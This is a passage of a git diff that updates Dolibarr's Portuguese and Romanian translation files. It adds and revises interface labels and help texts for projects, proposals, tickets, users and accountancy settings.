other company

      Supported values:
      - Keep empty: Can link any project of the company (default)
      - "all": Can link any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link all projects of these third partys (Example: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Últimos projetos %s LatestModifiedProjects=Últimos %s projetos modificados OtherFilteredTasks=Outras tarefas filtradas @@ -259,7 +263,7 @@ TimeSpentInvoiced=Time spent billed TimeSpentForIntervention=Tempos Dispendidos TimeSpentForInvoice=Tempos Dispendidos OneLinePerUser=One line per user -ServiceToUseOnLines=Service to use on lines +ServiceToUseOnLines=Service to use on lines by default InvoiceGeneratedFromTimeSpent=Invoice %s has been generated from time spent on project InterventionGeneratedFromTimeSpent=Intervention %s has been generated from time spent on project ProjectBillTimeDescription=Check if you enter timesheet on tasks of project AND you plan to generate invoice(s) from the timesheet to bill the customer of the project (do not check if you plan to create invoice that is not based on entered timesheets). Note: To generate invoice, go on tab 'Time spent' of the project and select lines to include. @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Profit is calculated using AddPersonToTask=Add also to tasks UsageOrganizeEvent=Usage: Event Organization PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Classify project as closed when all its tasks are completed (100%% progress) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks at 100 %% progress won't be affected: you will have to close them manually. This option only affects open projects. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Select lines of time spent that are unbilled, then bulk action "Generate Invoice" to bill them ProjectTasksWithoutTimeSpent=Project tasks without time spent FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. @@ -294,3 +298,4 @@ EnablePublicLeadForm=Enable the public form for contact NewLeadbyWeb=Your message or request has been recorded. We will answer or contact your soon. NewLeadForm=New contact form LeadFromPublicForm=Online lead from public form +ExportAccountingReportButtonLabel=Get report diff --git a/htdocs/langs/pt_PT/propal.lang b/htdocs/langs/pt_PT/propal.lang index 0bf3d1fa926..281d1802dc4 100644 --- a/htdocs/langs/pt_PT/propal.lang +++ b/htdocs/langs/pt_PT/propal.lang @@ -54,6 +54,7 @@ NoDraftProposals=Sem orçamentos rascunhos CopyPropalFrom=Criar orçamento, copiando um orçamento existente CreateEmptyPropal=Create empty commercial proposal or from list of products/services DefaultProposalDurationValidity=Prazo de validade predefinido do orçamento (em dias) +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address ConfirmClonePropal=Tem a certeza que pretende clonar o orçamento %s? ConfirmReOpenProp=Tem a certeza que pretende reabrir o orçamento %s? @@ -64,36 +65,54 @@ AvailabilityPeriod=Disponibilidade atraso SetAvailability=Definir atraso disponibilidade AfterOrder=após a ordem OtherProposals=Outros orçamentos + ##### Availability ##### AvailabilityTypeAV_NOW=Imediato AvailabilityTypeAV_1W=1 semana AvailabilityTypeAV_2W=2 semanas AvailabilityTypeAV_3W=3 semanas AvailabilityTypeAV_1M=1 mês -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Representante que dá seguimento ao orçamento TypeContact_propal_external_BILLING=Contacto na fatura do cliente TypeContact_propal_external_CUSTOMER=Contacto do cliente que dá seguimento ao orçamento TypeContact_propal_external_SHIPPING=Customer contact for delivery + # Document models -DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Case followed by +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=Modelo predefinido quando fechar um orçamento (não faturado) DefaultModelPropalCreate=Criação do modelo padrão DefaultModelPropalToBill=Modelo predefinido quando fechar um orçamento (a faturar) -DefaultModelPropalClosed=Modelo predefinido quando fechar um orçamento (não faturado) +DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) +DocModelCyanDescription=A complete proposal model +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line +NoSign=Recusar +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=Aceitação escrita, carimbo da empresa, data e assinatura ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git a/htdocs/langs/pt_PT/recruitment.lang b/htdocs/langs/pt_PT/recruitment.lang index a0adb2ce697..cf4e8ad1f0e 100644 --- a/htdocs/langs/pt_PT/recruitment.lang +++ b/htdocs/langs/pt_PT/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=Salário +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/pt_PT/salaries.lang b/htdocs/langs/pt_PT/salaries.lang index 8fdd98d9a8d..9f90a1b059c 100644 --- a/htdocs/langs/pt_PT/salaries.lang +++ b/htdocs/langs/pt_PT/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Conta contabilística utilizada para utilizadores de terceiros -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated accounting account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Conta contabilística usada por defeito para pagamentos de salários CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=By default, leave empty the option "Automatically create a total payment" when creating a Salary Salary=Salário @@ -24,3 +24,4 @@ SalariesStatistics=Salary statistics SalariesAndPayments=Salaries and payments ConfirmDeleteSalaryPayment=Do you want to delete this salary payment ? FillFieldFirst=Fill employee field first +UpdateAmountWithLastSalary=Set amount with last salary diff --git a/htdocs/langs/pt_PT/sms.lang b/htdocs/langs/pt_PT/sms.lang index facdadb0279..f64c624e678 100644 --- a/htdocs/langs/pt_PT/sms.lang +++ b/htdocs/langs/pt_PT/sms.lang @@ -44,7 +44,7 @@ NbOfSms=Número de números de telefone ThisIsATestMessage=Esta é uma mensagem de teste SendSms=Enviar SMS SmsInfoCharRemain=No. de caracteres restantes -SmsInfoNumero= (formato internacional, ou seja: +33899701761) +SmsInfoNumero= (formato internacional, p.e.: +351 969 XXX XXX) DelayBeforeSending=Atraso antes de enviar (minutos) SmsNoPossibleSenderFound=Nenhum operador disponível. Verifique a configuração do seu serviço SMS. SmsNoPossibleRecipientFound=Nenhum alvo disponível. Verifique a configuração do seu provedor de SMS. diff --git a/htdocs/langs/pt_PT/ticket.lang b/htdocs/langs/pt_PT/ticket.lang index 9ed3c42da2d..fa2991bdc0f 100644 --- a/htdocs/langs/pt_PT/ticket.lang +++ b/htdocs/langs/pt_PT/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Modificar tickets Permission56003=Eliminar tickets Permission56004=Gerir tickets Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Permission56006=Export tickets +Tickets=Tickets TicketDictType=Ticket - Types TicketDictCategory=Ticket - Groupes TicketDictSeverity=Ticket - Severities @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Colaborador externo OriginEmail=Reporter Email Notify_TICKET_SENTBYMAIL=Send ticket message by email +ExportDataset_ticket_1=Tickets + # Status Read=Ler Assigned=Atribuído @@ -90,8 +94,8 @@ TicketPublicAccess=Uma interface pública que não requer identificação está TicketSetupDictionaries=The type of ticket, severity and analytic codes are configurable from dictionaries TicketParamModule=Configuração da variável do módulo TicketParamMail=Configuração de e-mail -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Text message sent after creating a ticket @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=O texto especificado aqui será inserido no email confirm TicketParamPublicInterface=Configuração da interface pública TicketsEmailMustExist=Exigir um endereço de email existente para criar um ticket TicketsEmailMustExistHelp=Na interface pública, o endereço de email já deve estar preenchido no banco de dados para criar um novo ticket. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Interface pública TicketUrlPublicInterfaceLabelAdmin=Alternative URL for public interface TicketUrlPublicInterfaceHelpAdmin=It is possible to define an alias to the web server and thus make available the public interface with another URL (the server must act as a proxy on this new URL) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -190,8 +198,7 @@ TicketAssigned=Bilhete agora é atribuído TicketChangeType=Alterar tipo TicketChangeCategory=Change analytic code TicketChangeSeverity=Alterar a severidade -TicketAddMessage=Adicionar uma mensagem -AddMessage=Adicionar uma mensagem +TicketAddMessage=Add private message MessageSuccessfullyAdded=Ticket adicionado TicketMessageSuccessfullyAdded=Mensagem adicionada com sucesso TicketMessagesList=Lista de mensagens @@ -202,8 +209,8 @@ TicketSeverity=Severidade ShowTicket=Ver ticket RelatedTickets=Tickets relacionados TicketAddIntervention=Criar intervenção -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Confirmar o fecho do ticket ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -217,18 +224,17 @@ SendMessageByEmail=Enviar mensagem por email TicketNewMessage=Nova mensagem ErrorMailRecipientIsEmptyForSendTicketMessage=O destinatário está vazio. Nenhum email enviado TicketGoIntoContactTab=Por favor, vá para a aba "Contatos" para selecioná-los -TicketMessageMailIntro=Introdução +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Este texto é adicionado apenas no início do email e não será salvo. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=Assinatura -TicketMessageMailSignatureHelp=Este texto é adicionado somente no final do email e não será salvo. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Assinatura do email de resposta -TicketMessageMailSignatureHelpAdmin=Este texto será inserido após a mensagem de resposta. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Apenas este texto será salvo na lista de mensagens no cartão do ticket. TicketMessageSubstitutionReplacedByGenericValues=As variáveis ​​de substituição são substituídas por valores genéricos. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Tempo decorrido desde TicketTimeToRead=Tempo decorrido antes de ler TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=A new message was posted on the ticke TicketAssignedToYou=Ticket atribuído TicketAssignedEmailBody=Foi-lhe atribuído o ticket #%s por %s MarkMessageAsPrivate=Marcar mensagem como privada +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Esta mensagem não será exibida para usuários externos TicketEmailOriginIssuer=Emissor na origem dos bilhetes InitialMessage=Mensagem inicial @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Você pode ver o progresso do ticket na TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Por favor, não responda diretamente a este e-mail! Use o link para responder na interface. TicketPublicInfoCreateTicket=Este formulário permite que você registre um ticket de suporte em nosso sistema de gerenciamento. -TicketPublicPleaseBeAccuratelyDescribe=Por favor descreva com precisão o problema. Forneça a melhor informação possível para podermos identificar o mais corretamente possível o seu pedido. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Insira o código de acompanhamento do bilhete TicketTrackId=Public Tracking ID OneOfTicketTrackId=One of your tracking ID diff --git a/htdocs/langs/pt_PT/users.lang b/htdocs/langs/pt_PT/users.lang index 9df09a68893..da670f226f7 100644 --- a/htdocs/langs/pt_PT/users.lang +++ b/htdocs/langs/pt_PT/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Remover do grupo PasswordChangedAndSentTo=Palavra-passe alterada e enviada para %s. PasswordChangeRequest=Pedido para alterar a palavra-passe a %s PasswordChangeRequestSent=Pedido para alterar a palavra-passe para %s enviada para %s. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Confirmar restauração da palavra-passe MenuUsersAndGroups=Utilizadores e Grupos @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Criar um Utilizador CreateDolibarrThirdParty=Criar um Terceiro -LoginAccountDisableInDolibarr=A conta está desativada no Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Utilizar valores personalizados -InternalUser=Utilizador Interno ExportDataset_user_1=Users and their properties DomainUser=Utilizador de Domínio %s Reactivate=Reativar @@ -114,7 +114,7 @@ UserLogoff=Terminar sessão do utilizador UserLogged=Utilizador conectado DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -124,3 +124,12 @@ ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of th UserPersonalEmail=Personal email UserPersonalMobile=Personal mobile phone WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DateLastLogin=Date last login +DatePreviousLogin=Date previous login +IPLastLogin=IP last login +IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/ro_RO/accountancy.lang b/htdocs/langs/ro_RO/accountancy.lang index 0b1725efbb8..049b12582ba 100644 --- a/htdocs/langs/ro_RO/accountancy.lang +++ b/htdocs/langs/ro_RO/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Selectați tipul de linie nouă ACCOUNTING_EXPORT_PREFIX_SPEC=Specificati prefixul pentru numele fisierului ThisService=Acest serviciu ThisProduct=Acest produs -DefaultForService=Implicit pentru serviciu -DefaultForProduct=Implicit pentru produs +DefaultForService=Implicit pentru servicii +DefaultForProduct=Implicit pentru produse ProductForThisThirdparty=Produs pentru acest terţ ServiceForThisThirdparty=Serviciu pentru acest terţ CantSuggest=Nu pot sugera @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=Contul contabil principal pentru furnizorii ca MainAccountForUsersNotDefined=Contul contabil principal pentru utilizatorii care nu sunt definiți în configurare MainAccountForVatPaymentNotDefined=Contul contabil principal pentru plăţile de TVA care nu sunt definite în configurare MainAccountForSubscriptionPaymentNotDefined=Contul contabil principal pentru plăţile de abonamente care nu sunt definite în configurare +UserAccountNotDefined=Contul contabil pentru utilizator nu a fost definit în configurare AccountancyArea=Zona contabilă AccountancyAreaDescIntro=Utilizarea modulului de contabilitate se face în mai multe etape: @@ -100,7 +101,8 @@ ShowAccountingAccount=Afișați contul contabil ShowAccountingJournal=Afişare jurnal contabil ShowAccountingAccountInLedger=Afişare cont contabil în registrul jurnal ShowAccountingAccountInJournals=Afişează conturile contabile în jurnale -AccountAccountingSuggest=Conturi contabile sugerate +DataUsedToSuggestAccount=Date utilizate pentru sugerarea unui cont +AccountAccountingSuggest=Cont sugerat MenuDefaultAccounts=Conturi implicite MenuBankAccounts=Conturi bancare MenuVatAccounts=Conturi de TVA @@ -125,6 +127,7 @@ WriteBookKeeping=Înregistrează tranzacţiile în contabilitate Bookkeeping=Registru jurnal BookkeepingSubAccount=Registru jurnal secundar AccountBalance=Sold cont +AccountBalanceSubAccount=Balanță conturi analitice ObjectsRef=Referinţă obiect sursă CAHTF=Total achiziţii de la furnizor înainte de taxare TotalExpenseReport=Total deconturi de cheltuieli @@ -164,42 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=Activare listă combinată pentru contul subsidiar (po ACCOUNTING_DATE_START_BINDING=Definiți o dată pentru a începe legarea și transferul în contabilitate. Înainte de această dată, tranzacțiile nu vor fi transferate în contabilitate. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Pentru transferul contabil, care este perioada selectată implicit  -ACCOUNTING_SELL_JOURNAL=Jurnal vânzări -ACCOUNTING_PURCHASE_JOURNAL=Jurnal cumpărări -ACCOUNTING_MISCELLANEOUS_JOURNAL=Jurnal diverse +ACCOUNTING_SELL_JOURNAL=Sales journal - sales and returns +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal - purchase and returns +ACCOUNTING_BANK_JOURNAL=Cash journal - receipts and disbursements ACCOUNTING_EXPENSEREPORT_JOURNAL=Jurnalul rapoartelor de cheltuieli -ACCOUNTING_SOCIAL_JOURNAL=Jurnal Asigurări Sociale +ACCOUNTING_MISCELLANEOUS_JOURNAL=Registrul jurnal ACCOUNTING_HAS_NEW_JOURNAL=Are un nou jurnal +ACCOUNTING_INVENTORY_JOURNAL=Jurnalul de inventar +ACCOUNTING_SOCIAL_JOURNAL=Jurnal Asigurări Sociale ACCOUNTING_RESULT_PROFIT=Contul contabil rezultat (Profit) ACCOUNTING_RESULT_LOSS=Contul contabil rezultat (Pierdere) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Jurnal de închidere -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Cont contabil de virament pentru transfer bancar +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Cont contabil (din Planul de Conturi) care va fi utilizat ca și cont pentru transferurile bancare tranzitorii TransitionalAccount=Cont tranzitoriu de transfer bancar -ACCOUNTING_ACCOUNT_SUSPENSE=Cont contabil de avans -DONATION_ACCOUNTINGACCOUNT=Contul contabil pentru înregistrarea donațiilor -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Cont contabil pentru a înregistra abonamente +ACCOUNTING_ACCOUNT_SUSPENSE=Cont contabil (din Planul de Conturi) care urmează să fie utilizat ca și cont pentru fondurile nealocate fie primite, fie plătite, adică fonduri în "în aștept[are]" +DONATION_ACCOUNTINGACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat pentru a înregistra donații (modulul Donații)  +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat pentru a înregistra abonamentele de membru (modulul de Membri - dacă calitatea de membru este înregistrată fără factură) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT= Cont contabil implicit pentru înregistra depunerilor clientului +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Contul contabil (din Planul de Conturi) va fi utilizat ca și cont implicit pentru a înregistra un depozit de la client  UseAuxiliaryAccountOnCustomerDeposit=Stochează contul de client ca și cont contabil individual în registrul subsidiar pentru liniile de avans (dacă este dezactivat, contul individual pentru liniile de avans va rămâne gol) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Cont contabil implicit pentru a înregistra depozitul furnizorului +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Contul contabil (din Planul de Conturi) care va fi folosit în mod implicit UseAuxiliaryAccountOnSupplierDeposit=Stocare cont furnizor ca și cont individual în registrul subsidiar pentru liniile de avans (dacă este dezactivat, contul individual pentru liniile de avans va rămâne gol)  +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Cont contabil implicit pentru înregistrarea garanției reținute de la client -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Contul contabil implicit pentru produsele cumpărate (se foloseşte dacă nu este definit în fișa de produs) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT= Contul contabil implicit pentru produsele cumpărate din CEE (utilizat dacă nu este definit în fișa de produs) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT= Contul contabil implicit pentru produsele cumpărate și importate din CEE (utilizate dacă nu sunt definite în fișa de produs) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Cont contabil implicit pentru produsele vândute (vor fi utilizate dacă nu sunt definite în fișa produsului) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Cont contabil implicit pentru produsele vândute în CEE (se utilizează dacă nu este definit în fișa de produs) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Cont contabil implicit pentru produsele vândute și exportate din CEE (se utilizează dacă nu este definit în fișa de produs) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat ca și cont implicit pentru produsele achiziționate din aceeași țară (utilizat dacă nu este definit în fișa de produs) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat ca și cont implicit pentru produsele achiziționate din CEE către o altă țară CEE (utilizat dacă nu este definit în fișa de produs) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat ca și cont implicit pentru produsele achiziționate și importate din orice altă țară (utilizat dacă nu este definit în fișa de produs) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat ca și cont implicit pentru produsele vândute (utilizat dacă nu este definit în fișa de produs)  +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat ca și cont implicit pentru produsele vândute din CEE în altă țară CEE (utilizat dacă nu este definit în fișa de produs) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat ca și cont implicit pentru produsele vândute și exportate în orice altă țară (utilizat dacă nu este definit în fișa de produs) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Cont contabil implicit pentru serviciile achiziţionate (va fi utilizat dacă nu este definit în fișa serviciului) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Cont contabil implicit pentru serviciile cumpărate din CEE (se utilizează dacă nu este definit în fișa de servicii) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Cont contabil implicit pentru serviciile cumpărate și importate din CEE (utilizat dacă nu este definit în fișa de servicii) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Cont contabil implicit pentru serviciile vândute (va fi utilizat dacă nu este definit în fișa de servicii) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Contul contabil implicit pentru serviciile vândute în CEE (folosit dacă nu este definit în fișa de servicii) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Contul contabil implicit pentru serviciile vândute și exportate din CEE (utilizat dacă nu este definit în fișa de servicii) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat ca și cont implicit pentru serviciile achiziționate din aceeași țară (utilizat dacă nu este definit în fișa de servicii)  +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat ca și cont implicit pentru serviciile achiziționate din CEE către o altă țară CEE (utilizat dacă nu este definit în fișa de servicii) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat ca și cont implicit pentru serviciile achiziționate și importate din altă țară (utilizat dacă nu este definit în fișa de servicii)  +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat ca și cont implicit pentru serviciile vândute (utilizat dacă nu este definit în fișa de servicii)  +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat ca și cont implicit pentru serviciile vândute din CEE către o altă țară CEE (utilizat dacă nu este definit în fișa de servicii) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat ca și cont implicit pentru serviciile vândute și exportate în orice altă țară (utilizat dacă nu este definit în fișa de servicii)  Doctype=Tipul documentului Docdate=Data documentului @@ -214,7 +220,8 @@ Codejournal=Jurnal JournalLabel=Eticheta jurnalului NumPiece=Număr notă contabilă TransactionNumShort=Nr. tranzacţie -AccountingCategory=Grupă personalizată +AccountingCategory=Grupă personalizată de conturi +AccountingCategories=Grupă personalizată de conturi GroupByAccountAccounting=Grupare după cont din registrul jurnal GroupBySubAccountAccounting=Grupare după cont de jurnal secundar AccountingAccountGroupsDesc=Puteți defini aici câteva grupe de conturi contabile. Acestea vor fi utilizate pentru rapoarte contabile personalizate. @@ -231,6 +238,7 @@ ConfirmDeleteMvt=Aceasta va șterge toate rândurile din contabilitate pentru an ConfirmDeleteMvtPartial=Aceasta va șterge tranzacția din contabilitate (toate liniile legate de aceeași tranzacție vor fi șterse) FinanceJournal=Jurnal Bancă ExpenseReportsJournal=Jurnalul rapoartelor de cheltuieli +InventoryJournal=Jurnal de inventar DescFinanceJournal=Jurnal financiar bancar, include toate tipurile de plăți efectuate prin conturile bancare DescJournalOnlyBindedVisible=Aceasta este o vedere a înregistrării care este legată de un cont contabil și poate fi înregistrată în jurnale și Registrul jurnal. VATAccountNotDefined=Contul contabil de TVA nu a fost definit @@ -262,19 +270,20 @@ ShowSubtotalByGroup=Afișează subtotalul după nivel Pcgtype=Grupă de conturi PcgtypeDesc=Grupele de conturi sunt utilizate ca criterii predefinite de 'filtrare' și 'grupare' pentru unele rapoarte contabile. De exemplu, 'VENITURI' sau 'CHELTUIELI' sunt utilizate ca grupe pentru conturile contabile ale produselor pentru a construi raportul de cheltuieli/venituri. +AccountingCategoriesDesc=Grupa personalizată de conturi poate fi utilizată pentru a grupa conturile contabile 